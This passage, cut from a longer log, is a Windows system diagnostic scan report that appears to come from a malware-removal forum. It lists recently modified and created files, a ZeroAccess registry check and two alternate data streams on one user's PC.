| ---- | C] (Broadcom Corporation.) -- C:\Program Files\BtWizard.dll [1 C:\Windows\*.tmp files -> C:\Windows\*.tmp -> ] [color=#E56717]========== Files - Modified Within 30 Days ==========[/color] [2015-06-28 16:16:00 | 000,000,930 | ---- | M] () -- C:\Windows\tasks\Adobe Flash Player Updater.job [2015-06-28 15:52:00 | 000,001,048 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineUA.job [2015-06-28 10:08:20 | 000,136,408 | ---- | M] (Malwarebytes Corporation) -- C:\Windows\SysNative\drivers\MBAMSwissArmy.sys [2015-06-28 09:45:35 | 000,014,336 | ---- | M] () -- C:\Windows\SysNative\7B296FB0-376B-497e-B012-9C450E1B7327-5P-1.C7483456-A289-439d-8115-601632D005A0 [2015-06-28 09:45:35 | 000,014,336 | ---- | M] () -- C:\Windows\SysNative\7B296FB0-376B-497e-B012-9C450E1B7327-5P-0.C7483456-A289-439d-8115-601632D005A0 [2015-06-28 09:40:07 | 000,001,044 | ---- | M] () -- C:\Windows\tasks\GoogleUpdateTaskMachineCore1ce49bfcdf9cd01.job [2015-06-28 09:39:54 | 000,067,584 | --S- | M] () -- C:\Windows\bootstat.dat [2015-06-28 09:39:50 | 3187,609,600 | -HS- | M] () -- C:\hiberfil.sys [2015-06-27 16:22:29 | 001,675,852 | ---- | M] () -- C:\Windows\SysNative\PerfStringBackup.INI [2015-06-27 16:22:29 | 000,742,568 | ---- | M] () -- C:\Windows\SysNative\perfh015.dat [2015-06-27 16:22:29 | 000,656,144 | ---- | M] () -- C:\Windows\SysNative\perfh009.dat [2015-06-27 16:22:29 | 000,156,586 | ---- | M] () -- C:\Windows\SysNative\perfc015.dat [2015-06-27 16:22:29 | 000,122,486 | ---- | M] () -- C:\Windows\SysNative\perfc009.dat [2015-06-27 11:10:11 | 000,000,024 | ---- | M] () -- C:\Users\User\AppData\Roaming\appdataFr25.bin [2015-06-25 21:16:29 | 000,290,481 | ---- | M] () -- C:\Users\User\Desktop\bbbbbbbbbbbbbbbbbbbb.png [2015-06-25 19:17:06 | 000,778,416 | ---- | M] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\FlashPlayerApp.exe [2015-06-25 19:17:06 | 000,142,512 | ---- | M] (Adobe Systems Incorporated) -- C:\Windows\SysWow64\FlashPlayerCPLApp.cpl [2015-06-23 23:41:54 | 000,001,079 | ---- | M] () -- C:\Users\Public\Desktop\MO Virtual Router.lnk [2015-06-23 23:36:25 | 000,002,619 | ---- | M] () -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Virtual Router Manager.lnk [2015-06-23 15:45:55 | 000,190,648 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\kneps.sys [2015-06-23 15:45:54 | 000,085,360 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\klwtp.sys [2015-06-23 15:45:54 | 000,065,208 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\kltdi.sys [2015-06-23 15:45:54 | 000,039,280 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\klim6.sys [2015-06-23 15:45:54 | 000,024,944 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\klpd.sys [2015-06-23 15:45:53 | 000,064,368 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\kldisk.sys [2015-06-23 15:45:52 | 000,478,392 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\kl1.sys [2015-06-23 15:45:39 | 000,039,280 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\klmouflt.sys [2015-06-23 15:45:38 | 000,040,304 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\klkbdflt.sys [2015-06-23 15:45:36 | 000,850,608 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\klif.sys [2015-06-23 15:45:35 | 000,159,960 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\klflt.sys [2015-06-23 15:45:34 | 000,225,968 | ---- | M] (Kaspersky Lab ZAO) -- C:\Windows\SysNative\drivers\klhk.sys [2015-06-23 15:45:29 | 000,247,016 | ---- | M] (Kaspersky Lab UK Ltd) -- C:\Windows\SysNative\drivers\cm_km_w.sys [2015-06-22 22:54:12 | 000,002,215 | ---- | M] () -- C:\Users\Public\Desktop\Google Chrome.lnk [2015-06-16 18:59:05 | 000,037,181 | ---- | M] () -- C:\Users\User\Desktop\700+.png [2015-06-12 16:12:45 | 001,545,728 | ---- | M] (Microsoft) -- C:\Users\User\Documents\NinjaLocalFile [2015-06-12 15:37:34 | 000,147,884 | ---- | M] () -- C:\Users\User\Desktop\jurassic-world-super-bowl-trailer-1.jpg [2015-06-11 15:36:29 | 000,033,856 | ---- | M] () -- C:\Users\User\Desktop\dasdasdasd.png [2015-06-11 14:22:17 | 000,074,911 | ---- | M] () -- C:\Users\User\Desktop\184454mini.png [2015-06-10 17:34:11 | 000,035,299 | ---- | M] () -- C:\Users\User\Desktop\asasas.png [2015-06-10 14:32:23 | 000,042,152 | ---- | M] (Connectify) -- C:\Windows\SysNative\drivers\cnnctfy3.sys [2015-06-09 17:45:21 | 000,030,527 | ---- | M] () -- C:\Users\User\Desktop\słee.png [2015-06-09 12:10:22 | 000,011,312 | ---- | M] () -- C:\Users\User\Desktop\300+.png [2015-06-08 15:15:21 | 000,002,301 | ---- | M] () -- C:\Users\User\Desktop\Program uruchamiający aplikacje Chrome.lnk [2015-06-07 19:15:13 | 000,042,373 | ---- | M] () -- C:\Users\User\Desktop\ujnia.png [2015-06-06 17:47:12 | 000,000,126 | ---- | M] () -- C:\Windows\wcx_ftp.ini [2015-06-04 14:18:36 | 000,042,306 | ---- | M] () -- C:\Users\User\Desktop\sd.png [2015-06-04 01:40:23 | 000,000,240 | ---- | M] () -- C:\Windows\SysNative\drivers\kgpcpy.cfg [2015-06-03 20:39:40 | 000,000,632 | ---- | M] () -- C:\Windows\SysWow64\drivers\kgpfr2.cfg [2015-06-03 15:26:17 | 000,000,266 | RHS- | M] () -- C:\Users\User\ntuser.pol [2015-06-03 03:58:22 | 000,001,066 | ---- | M] () -- C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk [2015-06-02 01:21:26 | 000,541,585 | ---- | M] () -- C:\Users\User\Desktop\deeeeetal.png [2015-06-01 20:18:11 | 000,002,051 | ---- | M] () -- C:\Users\Public\Desktop\Kaspersky Anti-Virus.lnk [2015-06-01 20:04:22 | 000,351,176 | ---- | M] () -- C:\Users\User\Desktop\232.png [2015-06-01 20:00:18 | 000,516,432 | ---- | M] () -- C:\Users\User\Desktop\asd3.png [2015-06-01 14:06:23 | 000,019,489 | ---- | M] () -- C:\Users\User\Desktop\zapłata.png [2015-05-30 16:28:04 | 000,018,845 | ---- | M] () -- C:\Users\User\Desktop\słeg.png [2015-05-30 16:27:11 | 000,294,078 | ---- | M] () -- C:\Users\User\Desktop\hajs.png [2015-05-30 16:26:36 | 000,025,262 | ---- | M] () -- C:\Users\User\Desktop\sł.png [2015-05-30 15:23:36 | 000,008,648 | ---- | M] () -- C:\Users\User\Desktop\teej.png [2015-05-29 21:05:27 | 000,027,474 | ---- | M] () -- C:\Users\User\Desktop\se.png [1 C:\Windows\*.tmp files -> C:\Windows\*.tmp -> ] [color=#E56717]========== Files Created - No Company Name ==========[/color] [2015-06-25 21:16:29 | 000,290,481 | ---- | C] () -- C:\Users\User\Desktop\bbbbbbbbbbbbbbbbbbbb.png [2015-06-23 23:41:54 | 000,001,079 | ---- | C] () -- C:\Users\Public\Desktop\MO Virtual Router.lnk [2015-06-23 23:36:25 | 000,002,619 | ---- | C] () -- C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Virtual Router Manager.lnk [2015-06-16 18:59:04 | 000,037,181 | ---- | C] () -- C:\Users\User\Desktop\700+.png [2015-06-12 15:37:23 | 000,147,884 | ---- | C] () -- C:\Users\User\Desktop\jurassic-world-super-bowl-trailer-1.jpg [2015-06-11 15:36:29 | 000,033,856 | ---- | C] () -- C:\Users\User\Desktop\dasdasdasd.png [2015-06-11 14:22:07 | 000,074,911 | ---- | C] () -- C:\Users\User\Desktop\184454mini.png [2015-06-10 17:34:10 | 000,035,299 | ---- | C] () -- C:\Users\User\Desktop\asasas.png [2015-06-09 17:45:21 | 000,030,527 | ---- | C] () -- C:\Users\User\Desktop\słee.png [2015-06-09 12:10:21 | 000,011,312 | ---- | C] () -- C:\Users\User\Desktop\300+.png [2015-06-08 15:15:21 | 000,002,301 | ---- | C] () -- C:\Users\User\Desktop\Program uruchamiający aplikacje Chrome.lnk [2015-06-07 19:15:12 | 000,042,373 | ---- | C] () -- C:\Users\User\Desktop\ujnia.png [2015-06-05 21:18:23 | 000,000,126 | ---- | C] () -- C:\Windows\wcx_ftp.ini [2015-06-04 14:18:36 | 000,042,306 | ---- | C] () -- C:\Users\User\Desktop\sd.png [2015-06-04 01:40:23 | 000,000,240 | ---- | C] () -- C:\Windows\SysNative\drivers\kgpcpy.cfg [2015-06-03 03:58:22 | 000,001,066 | ---- | C] () -- C:\Users\Public\Desktop\Malwarebytes Anti-Malware.lnk [2015-06-02 01:21:26 | 000,541,585 | ---- | C] () -- C:\Users\User\Desktop\deeeeetal.png [2015-06-01 20:18:58 | 000,002,051 | ---- | C] () -- C:\Users\Public\Desktop\Kaspersky Anti-Virus.lnk [2015-06-01 20:04:22 | 000,351,176 | ---- | C] () -- C:\Users\User\Desktop\232.png [2015-06-01 20:00:17 | 000,516,432 | ---- | C] () -- C:\Users\User\Desktop\asd3.png [2015-06-01 14:06:22 | 000,019,489 | ---- | C] () -- C:\Users\User\Desktop\zapłata.png [2015-05-30 16:28:04 | 000,018,845 | ---- | C] () -- C:\Users\User\Desktop\słeg.png [2015-05-30 16:27:11 | 000,294,078 | ---- | C] () -- C:\Users\User\Desktop\hajs.png [2015-05-30 16:26:36 | 000,025,262 | ---- | C] () -- C:\Users\User\Desktop\sł.png [2015-05-30 15:23:34 | 000,008,648 | ---- | C] () -- C:\Users\User\Desktop\teej.png [2015-05-29 21:05:27 | 000,027,474 | ---- | C] () -- C:\Users\User\Desktop\se.png [2015-05-25 15:25:40 | 000,017,288 | ---- | C] () -- C:\Users\User\AppData\Local\recently-used.xbel [2015-05-19 16:56:11 | 000,000,024 | ---- | C] () -- C:\Users\User\AppData\Roaming\appdataFr25.bin [2015-03-25 12:11:22 | 000,000,395 | -HS- | C] () -- C:\Users\User\AppData\Local\70149b02515b3bb20dd492.47983420 [2015-03-12 16:52:42 | 000,644,608 | ---- | C] () -- C:\Windows\SysWow64\xvidcore.dll [2015-02-15 20:27:26 | 000,000,132 | ---- | C] () -- C:\Users\User\AppData\Roaming\Adobe PNG Format CS6 Prefs [2014-09-09 17:26:44 | 000,263,984 | -H-- | C] () -- C:\Windows\SysWow64\mlfcache.dat [2014-07-27 14:44:01 | 002,499,752 | ---- | C] () -- C:\Windows\SysWow64\BootMan.exe [2014-07-27 14:44:01 | 000,087,112 | ---- | C] () -- C:\Windows\SysWow64\setupempdrv03.exe [2014-07-27 14:44:01 | 000,019,840 | ---- | C] () -- C:\Windows\SysWow64\EuEpmGdi.dll [2014-07-27 14:44:01 | 000,013,896 | ---- | C] () -- C:\Windows\SysWow64\epmntdrv.sys [2014-07-27 14:44:01 | 000,009,160 | ---- | C] () -- C:\Windows\SysWow64\EuGdiDrv.sys [2014-07-18 19:41:27 | 000,002,048 | ---- | C] () -- C:\Windows\SysWow64\winver.exe [2014-07-18 17:38:42 | 003,107,788 | ---- | C] () -- C:\Windows\SysWow64\atiumdva.dat [2014-07-18 17:10:04 | 000,004,883 | ---- | C] () -- C:\ProgramData\mtbjfghn.xbe [2014-07-06 17:33:43 | 000,218,712 | ---- | C] () -- C:\Windows\SysWow64\unrar.dll [2014-07-06 13:58:02 | 000,210,456 | ---- | C] () -- C:\Windows\SysWow64\IVIresizeW7.dll [2014-07-06 13:58:02 | 000,206,360 | ---- | C] () -- C:\Windows\SysWow64\IVIresizeA6.dll [2014-07-06 13:58:02 | 000,198,168 | ---- | C] () -- C:\Windows\SysWow64\IVIresizeP6.dll [2014-07-06 13:58:02 | 000,198,168 | ---- | C] () -- C:\Windows\SysWow64\IVIresizeM6.dll [2014-07-06 13:58:02 | 000,194,072 | ---- | C] () -- C:\Windows\SysWow64\IVIresizePX.dll [2014-07-06 13:58:02 | 000,026,136 | ---- | C] () -- C:\Windows\SysWow64\IVIresize.dll [2014-05-10 11:59:34 | 000,000,000 | ---- | C] () -- C:\Windows\zSpy.INI [2014-02-11 02:54:12 | 000,000,239 | ---- | C] () -- C:\Users\User\Morrowind.ini [2013-12-19 01:37:03 | 000,000,071 | ---- | C] () -- C:\Users\User\AppData\Roaming\WB.CFG [2013-10-31 16:43:00 | 000,001,504 | ---- | C] () -- C:\Windows\unins000.dat [2013-10-28 18:57:20 | 000,004,096 | -H-- | C] () -- C:\Users\User\AppData\Local\keyfile3.drm [2013-08-22 18:25:16 | 001,647,544 | ---- | C] () -- C:\Windows\ampa.exe [2013-08-22 18:25:16 | 000,012,728 | ---- | C] () -- C:\Windows\SysWow64\ampa.sys [2013-07-14 08:55:38 | 000,000,043 | ---- | C] () -- C:\Users\User\.gtk-bookmarks [2013-06-27 09:50:31 | 000,000,059 | ---- | C] () -- C:\Users\User\AppData\Local\UserProducts.xml [2013-05-23 16:02:24 | 000,007,602 | ---- | C] () -- C:\Users\User\AppData\Local\Resmon.ResmonCfg [2013-03-21 14:11:13 | 000,000,266 | RHS- | C] () -- C:\Users\User\ntuser.pol [2013-03-05 00:40:41 | 000,008,758 | ---- | C] () -- C:\Users\User\AppData\Roaming\PStrip.bk! [2013-03-05 00:40:23 | 000,008,758 | ---- | C] () -- C:\Users\User\AppData\Roaming\PStrip.bko [2013-03-04 21:52:09 | 000,008,758 | ---- | C] () -- C:\Users\User\AppData\Roaming\PStrip.bak [2013-03-04 21:46:54 | 000,008,758 | ---- | C] () -- C:\Users\User\AppData\Roaming\PStrip.ini [2013-03-04 15:00:05 | 000,048,640 | ---- | C] () -- C:\Users\User\AppData\Local\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini [color=#E56717]========== ZeroAccess Check ==========[/color] [2009-07-14 06:55:00 | 000,000,227 | RHS- | M] () -- C:\Windows\assembly\Desktop.ini [HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64 [HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] [HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32] /64 [HKEY_CURRENT_USER\Software\Classes\Wow6432node\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32] [HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] /64 "" = C:\Windows\SysNative\shell32.dll -- [2012-06-09 07:43:10 | 014,172,672 | ---- | M] (Microsoft Corporation) "ThreadingModel" = Apartment [HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32] "" = %SystemRoot%\system32\shell32.dll -- [2012-06-09 06:41:00 | 012,873,728 | ---- | M] (Microsoft Corporation) "ThreadingModel" = Apartment [HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32] /64 "" = C:\Windows\SysNative\wbem\fastprox.dll -- [2009-07-14 03:40:51 | 000,909,312 | ---- | M] (Microsoft Corporation) "ThreadingModel" = Free [HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32] "" = %systemroot%\system32\wbem\fastprox.dll -- [2010-11-20 05:19:04 | 000,606,208 | ---- | M] (Microsoft Corporation) "ThreadingModel" = Free [HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32] /64 "" = C:\Windows\SysNative\wbem\wbemess.dll -- [2009-07-14 03:41:56 | 000,505,856 | ---- | M] (Microsoft Corporation) "ThreadingModel" = Both [HKEY_LOCAL_MACHINE\Software\Wow6432Node\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32] [color=#E56717]========== Files - Unicode (All) ==========[/color] [2015-04-19 18:26:44 | 004,019,745 | ---- | M] ()(C:\Users\User\Desktop\DXN BNLVDN - ????????????? [Codeine Boy Da BeatDealer]_181152085_soundcloud.mp3) -- C:\Users\User\Desktop\DXN BNLVDN - Ветхозаветныи [Codeine Boy Da BeatDealer]_181152085_soundcloud.mp3 [2015-04-19 18:21:36 | 004,019,745 | ---- | C] ()(C:\Users\User\Desktop\DXN BNLVDN - ????????????? [Codeine Boy Da BeatDealer]_181152085_soundcloud.mp3) -- C:\Users\User\Desktop\DXN BNLVDN - Ветхозаветныи [Codeine Boy Da BeatDealer]_181152085_soundcloud.mp3 [color=#E56717]========== Alternate Data Streams ==========[/color] @Alternate Data Stream - 128 bytes -> C:\ProgramData\TEMP:5079DADB @Alternate Data Stream - 118 bytes -> C:\ProgramData\TEMP:373E1720 < End of report >